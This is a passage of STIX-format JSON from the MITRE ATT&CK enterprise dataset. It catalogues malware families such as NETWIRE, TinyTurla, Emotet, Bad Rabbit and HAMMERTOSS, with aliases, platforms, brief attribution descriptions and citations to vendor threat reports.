2022.","url":"https://www.vmray.com/cyber-security-blog/osaminer-uses-applescripts-evade-detection-malware-analysis-spotlight/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["LOWBALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","type":"malware","created":"2017-05-31T21:32:33.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0042","external_id":"S0042"},{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-30T16:56:27.375Z","name":"LOWBALL","description":"[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-20T20:04:20.149Z","name":"NETWIRE","description":"[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)","x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_contributors":["Tony Lambert, Red Canary"],"x_mitre_aliases":["NETWIRE"],"type":"malware","id":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0198","external_id":"S0198"},{"source_name":"NETWIRE","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"},{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T20:20:44.580Z","name":"TinyTurla","description":"[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet","Massimiliano Romano, BT Security"],"x_mitre_aliases":["TinyTurla"],"type":"malware","id":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","created":"2021-12-02T15:09:20.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0668","external_id":"S0668"},{"source_name":"Talos TinyTurla September 2021","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:23:58.415Z","name":"PyDCrypt","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) is malware written in Python designed to deliver [DCSrv](https://attack.mitre.org/software/S1033). It has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021, with each sample tailored for its intended victim organization.(Citation: Checkpoint MosesStaff Nov 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["PyDCrypt"],"type":"malware","id":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","created":"2022-08-11T22:00:20.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1032","external_id":"S1032"},{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HyperStack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","type":"malware","created":"2020-12-02T20:48:23.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0537","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0537"},{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-04T15:04:01.604Z","name":"HyperStack","description":"[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["iKitten","OSX/MacDownloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0278","external_id":"S0278"},{"source_name":"iKitten","description":"(Citation: objsee mac malware 2017)."},{"source_name":"OSX/MacDownloader","description":"(Citation: objsee mac malware 2017)."},{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T18:37:55.343Z","name":"iKitten","description":"[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HAMMERTOSS","HammerDuke","NetDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","type":"malware","created":"2017-05-31T21:32:29.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0037","external_id":"S0037"},{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-02-09T13:58:23.806Z","name":"HAMMERTOSS","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T17:51:20.402Z","name":"OLDBAIT","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["OLDBAIT","Sasfis"],"type":"malware","id":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","created":"2017-05-31T21:33:18.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0138","external_id":"S0138"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T17:29:57.200Z","name":"Bad Rabbit","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Bad Rabbit","Win32/Diskcoder.D"],"type":"malware","id":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","created":"2021-02-09T14:35:39.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0606","external_id":"S0606"},{"source_name":"ESET Bad Rabbit","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021.","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/"},{"source_name":"Secure List Bad Rabbit","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021.","url":"https://securelist.com/bad-rabbit-ransomware/82851/"},{"source_name":"Dragos IT ICS Ransomware","description":"Slowik, J.. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved January 28, 2021.","url":"https://www.dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CosmicDuke","TinyBaron","BotgenStudios","NemesisGemina"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","type":"malware","created":"2017-05-31T21:32:36.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0050","external_id":"S0050"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-28T21:32:37.171Z","name":"CosmicDuke","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-23T15:14:18.597Z","name":"EvilGrab","description":"[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["EvilGrab"],"type":"malware","id":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0152","external_id":"S0152"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:34:42.912Z","name":"EnvyScout","description":"[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["EnvyScout"],"type":"malware","id":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","created":"2021-08-02T15:31:32.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0634","external_id":"S0634"},{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SslMM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","type":"malware","created":"2017-05-31T21:32:39.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0058","url":"https://attack.mitre.org/software/S0058","source_name":"mitre-attack"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-18T15:53:57.549Z","name":"SslMM","description":"[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-02T12:20:43.866Z","name":"IMAPLoader","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) is a .NET-based loader malware exclusively associated with [CURIUM](https://attack.mitre.org/groups/G1012) operations since at least 2022. [IMAPLoader](https://attack.mitre.org/software/S1152) leverages email protocols for command and control and payload delivery.(Citation: PWC Yellow Liderc 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Wirapong Petshagun"],"x_mitre_aliases":["IMAPLoader"],"type":"malware","id":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","created":"2024-08-14T22:12:17.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1152","external_id":"S1152"},{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:24:46.255Z","name":"GreyEnergy","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["GreyEnergy"],"type":"malware","id":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","created":"2019-01-30T13:53:14.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0342","external_id":"S0342"},{"source_name":"GreyEnergy","description":"(Citation: ESET GreyEnergy Oct 2018)"},{"source_name":"ESET GreyEnergy Oct 2018","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-05T19:17:05.706Z","name":"Darkmoon","description":"","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Darkmoon"],"type":"malware","id":"malware--310f437b-29e7-4844-848c-7220868d074a","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0209","external_id":"S0209"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:58:53.131Z","name":"Aria-body","description":"[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Aria-body"],"type":"malware","id":"malware--3161d76a-e2b2-4b97-9906-24909b735386","created":"2020-05-26T19:36:04.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0456","external_id":"S0456"},{"source_name":"CheckPoint Naikon May 2020","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-09T16:04:18.570Z","name":"Emotet","description":"[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_contributors":["Omkar Gudhate"],"x_mitre_aliases":["Emotet","Geodo"],"type":"malware","id":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","created":"2019-03-25T18:35:14.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0367","external_id":"S0367"},{"source_name":"Emotet","description":"(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) "},{"source_name":"Geodo","description":"(Citation: Trend Micro Emotet Jan 2019)"},{"source_name":"Talos Emotet Jan 2019","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html"},{"source_name":"CIS Emotet Apr 2017","description":"CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.","url":"https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/"},{"source_name":"CIS Emotet Dec 2018","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"},{"source_name":"Red Canary Emotet Feb 2019","description":"Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.","url":"https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/"},{"source_name":"ESET Emotet Nov 2018","description":"ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.","url":"https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/"},{"source_name":"Secureworks Emotet Nov 2018","description":"Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.","url":"https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"},{"source_name":"Picus Emotet Dec 2018","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html"},{"source_name":"Trend Micro Banking Malware Jan 2019","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/"},{"source_name":"Kaspersky Emotet Jan 2019","description":"Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.","url":"https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/"},{"source_name":"Malwarebytes Emotet Dec 2017","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.","url":"https://support.malwarebytes.com/docs/DOC-2295"},{"source_name":"Symantec Emotet Jul 2018","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor"},{"source_name":"Trend Micro Emotet Jan 2019","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf"},{"source_name":"US-CERT Emotet Jul 2018","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SNUGRIDE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0159","external_id":"S0159"},{"source_name":"SNUGRIDE","description":"(Citation: FireEye APT10 April 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"}],"modified":"2020-03-30T18:11:04.830Z","name":"SNUGRIDE","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 